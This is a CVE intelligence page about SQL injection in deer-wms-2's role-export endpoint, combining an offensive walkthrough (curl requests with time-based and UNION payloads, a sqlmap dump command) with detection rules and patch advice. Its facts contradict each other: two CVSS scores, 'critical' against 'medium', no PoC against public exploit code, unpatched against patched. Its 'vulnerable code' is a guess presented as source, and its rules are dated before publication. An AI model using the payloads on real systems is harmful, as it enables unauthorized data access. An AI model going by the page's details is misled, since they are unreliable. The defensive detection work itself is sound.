☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8161

CVE-2025-8161 SQL Injection in Deerwms
📅 PUBLISHED: 2025-07-25 16:32 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.45%
👁️
0.45% probability
11.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8161 is a critical SQL injection vulnerability discovered in the Deerwms deer-wms-2 application, affecting versions up to and including 3.3. The vulnerability resides in the /system/role/export endpoint, specifically within the handling of the params[dataScope] argument. An authenticated attacker can exploit this flaw to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has released a patch, and immediate upgrade is strongly recommended.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Deerwms deer-wms-2 application, which is a Java-based web application. The risk is primarily to organizations that have deployed this application internally or as a service.

CVSS Breakdown & Threat Level

CVSS Score: 6.3 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): Low (L) - The attacker needs valid credentials to access the export functionality.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): Low (L) - Limited data exposure is possible.
  • Integrity (I): Low (L) - Limited data modification is possible.
  • Availability (A): Low (L) - Limited impact on service availability.

Threat Level: Medium. While the CVSS score is medium, the public availability of exploit code and the potential for data exfiltration elevate the urgency for patching.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection flaw in the /system/role/export endpoint. The application fails to properly sanitize user-supplied input passed via the params[dataScope] parameter before incorporating it into a SQL query. This allows an attacker to break out of the intended query structure and execute arbitrary SQL statements.

The likely vulnerable code pattern is similar to:

String query = "SELECT * FROM roles WHERE data_scope = '" + request.getParameter("params[dataScope]") + "'";

By injecting a single quote ('), the attacker can terminate the string literal and append malicious SQL. For example, a payload like:

' OR '1'='1

would result in the query:

SELECT * FROM roles WHERE data_scope = '' OR '1'='1'

This would return all roles, bypassing the intended filter. More sophisticated payloads can be used for UNION-based data extraction, time-based blind injection, or even stacked queries (if supported by the database).

Vulnerable vs. Patched Code

Vulnerable Code (deer-wms-2 <= 3.3):

// Vulnerable: Direct concatenation of user input
String sql = "SELECT * FROM sys_role WHERE data_scope = '" + params.get("dataScope") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (deer-wms-2 > 3.3):

// Patched: Use of parameterized query
String sql = "SELECT * FROM sys_role WHERE data_scope = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, params.get("dataScope"));
ResultSet rs = pstmt.executeQuery();

The patch replaces string concatenation with a parameterized query (PreparedStatement), which ensures that user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of deer-wms-2 (version 3.3 or earlier) in a controlled environment.
  2. Obtain valid credentials for a user with access to the role export functionality.
  3. Use a tool like curl or Burp Suite to interact with the endpoint.

Exploitation Steps:

  1. Identify the vulnerable parameter:

    curl -X POST "http://target.com/system/role/export" \
      -d "params[dataScope]=test"
    

    Observe the response.

  2. Confirm SQL injection with a time-based payload (e.g., for MySQL):

    curl -X POST "http://target.com/system/role/export" \
      -d "params[dataScope]=test' OR SLEEP(5)-- -"
    

    If the response is delayed by 5 seconds, the injection is confirmed.

  3. Extract data using UNION-based injection:

    curl -X POST "http://target.com/system/role/export" \
      -d "params[dataScope]=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
    

    Adjust the number of columns to match the original query.

  4. Automated exploitation with sqlmap:

    sqlmap -u "http://target.com/system/role/export" \
      --data="params[dataScope]=test" \
      --cookie="JSESSIONID=your_session_id" \
      --batch --dump
    

Blue Team (Defensive)

Detection Steps:

  1. Monitor for suspicious requests to /system/role/export:

    • Look for unusual characters in the params[dataScope] parameter, such as single quotes ('), double hyphens (--), or SQL keywords like UNION, SELECT, SLEEP, BENCHMARK.
    • Alert on requests with a high number of parameters or unusually long parameter values.
  2. Database Monitoring:

    • Enable database audit logging to capture all SQL queries.
    • Look for queries that deviate from the expected pattern (e.g., queries containing UNION, OR, AND with user-controlled values).
  3. Web Application Firewall (WAF) Rules:

    • Deploy WAF rules to block SQL injection patterns in the params[dataScope] parameter.
    • Example ModSecurity rule:
      SecRule ARGS:params_dataScope "@detectSQLi" \
        "id:1000001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected'"
      

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /system/role/export with params[dataScope] containing SQL metacharacters.
    • Unusual response times (e.g., >5 seconds) from the endpoint.
    • Outbound database connections from the application server to unexpected IP addresses (data exfiltration).
  • File System IOCs:

    • Unexpected files in the application's export directory (e.g., /tmp/exports/).
    • Modified log files with SQL injection attempts.
  • Database IOCs:

    • Queries containing UNION, OR 1=1, SLEEP(), BENCHMARK() in the application's database logs.
    • Unauthorized data access or modification in the sys_role table.

Detection Engineering

YARA Rule

rule CVE_2025_8161_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8161 in deer-wms-2"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-8161"
    strings:
        $sqli_pattern1 = /params\[dataScope\]=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
        $sqli_pattern2 = /params\[dataScope\]=.*--\s*$/i
        $sqli_pattern3 = /params\[dataScope\]=.*\/\*/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-8161 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against the /system/role/export endpoint in deer-wms-2
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/system/role/export*'
        cs-uri-query|contains: 'params[dataScope]'
    keywords:
        - "' OR"
        - "' AND"
        - "' UNION"
        - "' SELECT"
        - "' SLEEP"
        - "' BENCHMARK"
        - "'--"
        - "'/*"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in role names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8161 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/system/role/export";
    http_uri;
    content:"params[dataScope]";
    http_client_body;
    pcre:"/params\[dataScope\]=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i";
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch the Application: Upgrade deer-wms-2 to the latest patched version ( > 3.3). Contact the vendor for the specific patch details.
  2. Apply Virtual Patching: If immediate patching is not possible, deploy a WAF rule to block SQL injection attempts on the /system/role/export endpoint.
  3. Review Access Controls: Ensure that only authorized users have access to the role export functionality. Implement the principle of least privilege.

Long-Term Measures:

  1. Secure Coding Practices: Adopt parameterized queries (Prepared Statements) for all database interactions. Conduct regular code reviews and security training for developers.
  2. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially before using it in SQL queries.
  3. Web Application Firewall (WAF): Deploy a WAF to provide an additional layer of defense against SQL injection and other web application attacks.
  4. Regular Security Audits: Perform periodic vulnerability assessments and penetration testing to identify and remediate similar flaws.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8161/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.